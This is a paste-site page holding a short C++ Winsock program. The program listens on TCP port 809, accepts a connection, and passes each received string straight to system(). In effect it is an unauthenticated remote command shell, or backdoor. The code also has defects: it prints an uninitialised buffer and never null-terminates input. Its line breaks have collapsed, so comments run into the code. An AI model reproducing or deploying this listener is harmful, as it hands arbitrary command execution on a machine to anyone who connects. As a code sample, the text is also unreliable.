All pastes #805032 Raw Edit

Miscellany

public cpp v1 · immutable
·published 2007-12-03 23:59 UTC
rendered paste body
#include <windows.h> //Required for socket init#include <iostream>using namespace std;int main(){char buf[256];//string buf;WSAData wsdata; //Declare WSADataWORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implementif(nret != 0){ //Init failed/*A successful return value should be 0 */std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error codeWSACleanup(); //Cleanup Winsock libraryreturn -1;}std::cout<<"Init success\n";SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);if(kSock == INVALID_SOCKET){std::cout<<"Socket init failed";return -1;}std::cout<<"Socket initialized\n";sockaddr_in sin;sin.sin_port=htons(809);sin.sin_addr.s_addr=INADDR_ANY;sin.sin_family=AF_INET;if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){std::cout<<"Failed to bind\n";WSACleanup(); //Cleanup Winsock libraryreturn -1;}std::cout<<"Bind successful!\n";while (listen(kSock, SOMAXCONN) == SOCKET_ERROR); //Loop in order to constantly listen/* set the number of connections to SOMAXCONN, in which case the provider chooses a reasonable value (5 in Windows XPProfessional) */SOCKET client;int len = sizeof(sin);client=accept(kSock, (sockaddr*)&sin, &len);std::cout<<"Connection established!\n";bool wait = true;int bitsent;cout << buf << "\n";while (wait == true) {      bitsent = recv(client, buf, sizeof(buf), 0); //Receive from client      cout << buf << "\n";      if (bitsent > 0){         system(buf);         bitsent = 0;      }}// closesocket(client); //Close both socket handles// closesocket(kSock);// WSACleanup();return 0;}